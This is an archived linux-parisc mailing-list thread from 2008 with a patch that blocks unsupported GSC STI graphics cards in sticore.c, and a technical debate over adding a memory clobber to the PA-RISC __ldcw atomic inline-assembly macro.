>  /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
>  #define __ldcw(a) ({                                           \
>        unsigned __ret;                                         \
> -       __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
> -               : "=r" (__ret) : "r" (a));                      \
> +       __asm__ __volatile__(__LDCW " 0(%2),%0"                 \
> +                       : "=r" (__ret), "=m" (*(a))             \
> +                       : "r" (a), "m" (*(a))   );              \
>        __ret;                                                  \
>  })

You don't want to do that, the compiler might hold "=m" (*(a)) in a
temporary memory location.

e.g.
temp_mem = *a;
reg2 = &temp_mem;
... operation ...
*a = temp_mem;

You would be atomic with regards to the store to temp_mem, but not a.
Infact this could always be the case.

I'm now of the opinion that we need a "memory" clobber in the original
expression to prevent this from ever happening.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.fbdev.devel
Subject: [PATCH] don't activate unsupported GSC STI cards on HPPA
Date: Mon, 16 Jun 2008 22:50:28 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <200806162250.28773.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213649558 21471 80.91.229.12 (16 Jun 2008 20:52:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 20:52:38 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: linux-fbdev-devel@lists.sourceforge.net
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 16 22:53:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8LhY-0002Tf-HY
	for glpp-linux-parisc@gmane.org; Mon, 16 Jun 2008 22:53:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751704AbYFPUw3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 16:52:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753972AbYFPUw3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 16:52:29 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51091 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751704AbYFPUw2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 16:52:28 -0400
Original-Received: (qmail invoked by alias); 16 Jun 2008 20:52:27 -0000
Original-Received: from mnhm-590f5490.pool.einsundeins.de (EHLO p100.box) [89.15.84.144]
  by mail.gmx.net (mp037) with SMTP; 16 Jun 2008 22:52:27 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/kWAA6Jhjk3FGxmQgSalBUm2gcZiLAlA1B5PbYay
	+fYUp3eAfZGZk6
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:405 gmane.linux.fbdev.devel:12011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/405>

On HPPA there exists some older GSC graphics cards, which
need special graphic-card-BIOS patching to become supported.
Since we don't have yet implemented the patching, it's better
to detect such cards in advance, inform to the user that there 
are known problems and to not activate the card.

Problematic GSC cards and BIOS versions are:
* Hyperdrive/Hyperbowl (A4071A) graphics card series: 
   * ID = 0x2BCB015A (Version 8.04/8)
   * ID = 0x2BCB015A (Version 8.04/11)
* Thunder 1 VISUALIZE 48 card: 
   * ID = 0x2F23E5FC (Version 8.05/9)
* Thunder 2 VISUALIZE 48 XP card: 
   * ID = 0x2F8D570E (Version 8.05/12)
* Some Hyperion and ThunderHawk GSC cards

Further details are described here:
http://parisc-linux.org/faq/graphics-howto.html


Signed-off-by: Helge Deller <deller@gmx.de>


 sticore.c |   30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)


diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index e9ab657..e5eec26 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -24,6 +24,7 @@
 #include <asm/hardware.h>
 #include <asm/parisc-device.h>
 #include <asm/cacheflush.h>
+#include <asm/grfioctl.h>
 
 #include "../sticore.h"
 
@@ -728,6 +729,7 @@ sti_read_rom(int wordmode, struct sti_struct *sti, unsigned long address)
 {
 	struct sti_cooked_rom *cooked;
 	struct sti_rom *raw = NULL;
+	unsigned long revno;
 
 	cooked = kmalloc(sizeof *cooked, GFP_KERNEL);
 	if (!cooked)
@@ -770,9 +772,35 @@ sti_read_rom(int wordmode, struct sti_struct *sti, unsigned long address)
 	sti->graphics_id[1] = raw->graphics_id[1];
 	
 	sti_dump_rom(raw);
-	
+
+	/* check if the ROM routines in this card are compatible */
+	if (wordmode || sti->graphics_id[1] != 0x09A02587)
+		goto ok;
+
+	revno = (raw->revno[0] << 8) | raw->revno[1];
+
+	switch (sti->graphics_id[0]) {
+	case S9000_ID_HCRX:
+		/* HyperA or HyperB ? */
+		if (revno == 0x8408 || revno == 0x840b)
+			goto msg_not_supported;
+		break;
+	case CRT_ID_THUNDER:
+		if (revno == 0x8509)
+			goto msg_not_supported;
+		break;
+	case CRT_ID_THUNDER2:
+		if (revno == 0x850c)
+			goto msg_not_supported;
+	}
+ok:
 	return 1;
 
+msg_not_supported:
+	printk(KERN_ERR "Sorry, this GSC/STI card is not yet supported.\n");
+	printk(KERN_ERR "Please see http://parisc-linux.org/faq/"
+			"graphics-howto.html for more info.\n");
+	/* fall through */
 out_err:
 	kfree(raw);
 	kfree(cooked);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 23:06:44 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <4856D5E4.7090206@gmx.de>
References: <4853E587.9020802@gmx.de> <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213650466 24627 80.91.229.12 (16 Jun 2008 21:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 21:07:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 16 23:08:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8LvQ-0007Fc-PO
	for glpp-linux-parisc@gmane.org; Mon, 16 Jun 2008 23:07:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755401AbYFPVGu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 17:06:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755423AbYFPVGu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 17:06:50 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:56049 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755401AbYFPVGt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 17:06:49 -0400
Original-Received: (qmail invoked by alias); 16 Jun 2008 21:06:47 -0000
Original-Received: from mnhm-590f5490.pool.einsundeins.de (EHLO halden.box) [89.15.84.144]
  by mail.gmx.net (mp058) with SMTP; 16 Jun 2008 23:06:47 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19KU/kcMghKg1sRKqjq7tJDOsno9fka0m7gyKcASZ
	kWZkXHDbPejZbr
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:406
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/406>

Hi Carlos,

Carlos O'Donell wrote:
> On Sat, Jun 14, 2008 at 11:36 AM, Helge Deller <deller@gmx.de> wrote:
>> I'm wondering if this patch might help people who are seeing locking
>> problems on SMP boxes ?
>> Helge
>>
>> diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
>> index ee80c92..4752684 100644
>> --- a/include/asm-parisc/system.h
>> +++ b/include/asm-parisc/system.h
>> @@ -168,8 +168,9 @@ static inline void set_eiem(unsigned long val)
>>  /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
>>  #define __ldcw(a) ({                                           \
>>        unsigned __ret;                                         \
>> -       __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
>> -               : "=r" (__ret) : "r" (a));                      \
>> +       __asm__ __volatile__(__LDCW " 0(%2),%0"                 \
>> +                       : "=r" (__ret), "=m" (*(a))             \
>> +                       : "r" (a), "m" (*(a))   );              \
>>        __ret;                                                  \
>>  })
> 
> You don't want to do that, the compiler might hold "=m" (*(a)) in a
> temporary memory location.
> 
> e.g.
> temp_mem = *a;
> reg2 = &temp_mem;
> ... operation ...
> *a = temp_mem;
> 
> You would be atomic with regards to the store to temp_mem, but not a.
> Infact this could always be the case.
> 
> I'm now of the opinion that we need a "memory" clobber in the original
> expression to prevent this from ever happening.

So, your proposal is (copy-and-pasted in here) the following ?

diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
index ee80c92..daeae39 100644
--- a/include/asm-parisc/system.h
+++ b/include/asm-parisc/system.h
@@ -169,7 +169,7 @@ static inline void set_eiem(unsigned long val)
  #define __ldcw(a) ({                                           \
         unsigned __ret;                                         \
         __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
-               : "=r" (__ret) : "r" (a));                      \
+               : "=r" (__ret) : "r" (a) : "memory" );          \
         __ret;                                                  \
  })
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 17:54:24 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com>
References: <4853E587.9020802@gmx.de>
	 <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
	 <4856D5E4.7090206@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213653273 1073 80.91.229.12 (16 Jun 2008 21:54:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 21:54:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	"John David Anglin" <dave.anglin@nrc.ca>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 16 23:55:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8MfU-0008Gj-8d
	for glpp-linux-parisc@gmane.org; Mon, 16 Jun 2008 23:55:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755401AbYFPVy0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 17:54:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756125AbYFPVyZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 17:54:25 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.236]:21328 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755401AbYFPVyZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 17:54:25 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so3862798rvb.1
        for <linux-parisc@vger.kernel.org>; Mon, 16 Jun 2008 14:54:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=df5DjNnCfNfmT5RIKHD8/GLpE0fBxkp32xYGO9v0wTA=;
        b=BSyiPBDk/vjn7qxfcc+hrBo+DP+yTReEWJDslyISBAH8QSBYAraq8XDo0AAELlemPn
         XoIhzbBE3lbsTy++cU/e22qY7TilOdWZZXmKUcme2Ae31CTKIQbsa/2kJF4bE3gZd6SM
         Q0iJg9/G3ugVfo48S4uM9OxiPUoWKVdbWgoSo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=N11WkiUSswNWuGzIlkvkh+e1e8sldoyd6wp0GsTdna8LHno4gr6Asv1o56nu5sZnK+
         xq44vyzYyAxS2hV6/U09zUEAti6Uz4D7UBFdVTzwr3oiN+e70yLHhH5Rmn7/rlC3Nxd4
         t/7EnSGdmK/fySQruU0jfj3/L0Q4aw2kxDFw8=
Original-Received: by 10.115.77.3 with SMTP id e3mr7043439wal.43.1213653264413;
        Mon, 16 Jun 2008 14:54:24 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Mon, 16 Jun 2008 14:54:24 -0700 (PDT)
In-Reply-To: <4856D5E4.7090206@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: b6619472a902b136
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/407>

On Mon, Jun 16, 2008 at 5:06 PM, Helge Deller <deller@gmx.de> wrote:
> So, your proposal is (copy-and-pasted in here) the following ?
>
> diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
> index ee80c92..daeae39 100644
> --- a/include/asm-parisc/system.h
> +++ b/include/asm-parisc/system.h
> @@ -169,7 +169,7 @@ static inline void set_eiem(unsigned long val)
>  #define __ldcw(a) ({                                           \
>        unsigned __ret;                                         \
>        __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
> -               : "=r" (__ret) : "r" (a));                      \
> +               : "=r" (__ret) : "r" (a) : "memory" );          \
>        __ret;                                                  \
>  })

Yes. The asm should clobber memory thus forcing the compiler to avoid
memory temporaries.

Dave may have other opinions.

I think this solution is the safest.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 17:57:26 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20080616215726.GD18358@phobos.i.cabal.ca>
References: <4853E587.9020802@gmx.de> <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com> <4856D5E4.7090206@gmx.de> <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213653468 1647 80.91.229.12 (16 Jun 2008 21:57:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 21:57:48 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@nrc.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 16 23:58:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8MiQ-0001Rv-LS
	for glpp-linux-parisc@gmane.org; Mon, 16 Jun 2008 23:58:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752380AbYFPV52 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 17:57:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755401AbYFPV51
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 17:57:27 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:33026 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752380AbYFPV51 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 17:57:27 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 1A35B17802C; Mon, 16 Jun 2008 17:57:26 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/408>

On Mon, Jun 16, 2008 at 05:54:24PM -0400, Carlos O'Donell wrote:
> On Mon, Jun 16, 2008 at 5:06 PM, Helge Deller <deller@gmx.de> wrote:
> > So, your proposal is (copy-and-pasted in here) the following ?
> >
> > diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
> > index ee80c92..daeae39 100644
> > --- a/include/asm-parisc/system.h
> > +++ b/include/asm-parisc/system.h
> > @@ -169,7 +169,7 @@ static inline void set_eiem(unsigned long val)
> >  #define __ldcw(a) ({                                           \
> >        unsigned __ret;                                         \
> >        __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
> > -               : "=r" (__ret) : "r" (a));                      \
> > +               : "=r" (__ret) : "r" (a) : "memory" );          \
> >        __ret;                                                  \
> >  })
> 
> Yes. The asm should clobber memory thus forcing the compiler to avoid
> memory temporaries.
> 

It shouldn't need to, since we're only ever accessing one word (the one
specified in the operand.)

Otherwise basically every inline asm everywhere ever is going to need a
memory clobber, and that's just BROKEN.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 18:03:43 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20080616220343.GE18358@phobos.i.cabal.ca>
References: <4853E587.9020802@gmx.de> <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com> <4856D5E4.7090206@gmx.de> <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com> <20080616215726.GD18358@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213653835 2865 80.91.229.12 (16 Jun 2008 22:03:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 22:03:55 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 00:04:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8MoV-0003SO-Iz
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 00:04:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756576AbYFPWDo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 18:03:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756826AbYFPWDo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 18:03:44 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:37725 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756576AbYFPWDo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 18:03:44 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 567F0178052; Mon, 16 Jun 2008 18:03:43 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080616215726.GD18358@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/409>

On Mon, Jun 16, 2008 at 05:57:26PM -0400, Kyle McMartin wrote:
> On Mon, Jun 16, 2008 at 05:54:24PM -0400, Carlos O'Donell wrote:
> > On Mon, Jun 16, 2008 at 5:06 PM, Helge Deller <deller@gmx.de> wrote:
> > > So, your proposal is (copy-and-pasted in here) the following ?
> > >
> > > diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
> > > index ee80c92..daeae39 100644
> > > --- a/include/asm-parisc/system.h
> > > +++ b/include/asm-parisc/system.h
> > > @@ -169,7 +169,7 @@ static inline void set_eiem(unsigned long val)
> > >  #define __ldcw(a) ({                                           \
> > >        unsigned __ret;                                         \
> > >        __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
> > > -               : "=r" (__ret) : "r" (a));                      \
> > > +               : "=r" (__ret) : "r" (a) : "memory" );          \
> > >        __ret;                                                  \
> > >  })
> > 
> > Yes. The asm should clobber memory thus forcing the compiler to avoid
> > memory temporaries.
> > 
> 
> It shouldn't need to, since we're only ever accessing one word (the one
> specified in the operand.)
> 
> Otherwise basically every inline asm everywhere ever is going to need a
> memory clobber, and that's just BROKEN.
>

Willy points out the caching of the locked data across the lock, but we
surround the inline in a memory barrier, so we're fine.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Mon, 16 Jun 2008 16:05:50 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20080616220550.GB28190@parisc-linux.org>
References: <4853E587.9020802@gmx.de> <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com> <4856D5E4.7090206@gmx.de> <119aab440806161454v49c15f47k75dbf27215d4a978@mail.gmail.com> <20080616215726.GD18358@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213653961 3243 80.91.229.12 (16 Jun 2008 22:06:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Jun 2008 22:06:01 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@nrc.ca>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 00:06:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8MqZ-0004Aj-Ss
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 00:06:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758468AbYFPWFw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jun 2008 18:05:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758566AbYFPWFw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Jun 2008 18:05:52 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:34369 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758468AbYFPWFv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jun 2008 18:05:51 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id E7094494005; Mon, 16 Jun 2008 16:05:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080616215726.GD18358@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:410
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/410>

On Mon, Jun 16, 2008 at 05:57:26PM -0400, Kyle McMartin wrote:
> On Mon, Jun 16, 2008 at 05:54:24PM -0400, Carlos O'Donell wrote:
> > On Mon, Jun 16, 2008 at 5:06 PM, Helge Deller <deller@gmx.de> wrote:
> > > So, your proposal is (copy-and-pasted in here) the following ?
> > >
> > > diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
> > > index ee80c92..daeae39 100644
> > > --- a/include/asm-parisc/system.h
> > > +++ b/include/asm-parisc/system.h
> > > @@ -169,7 +169,7 @@ static inline void set_eiem(unsigned long val)
> > >  #define __ldcw(a) ({                                           \
> > >        unsigned __ret;                                         \
> > >        __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
> > > -               : "=r" (__ret) : "r" (a));                      \
> > > +               : "=r" (__ret) : "r" (a) : "memory" );          \
> > >        __ret;                                                  \
> > >  })
> > 
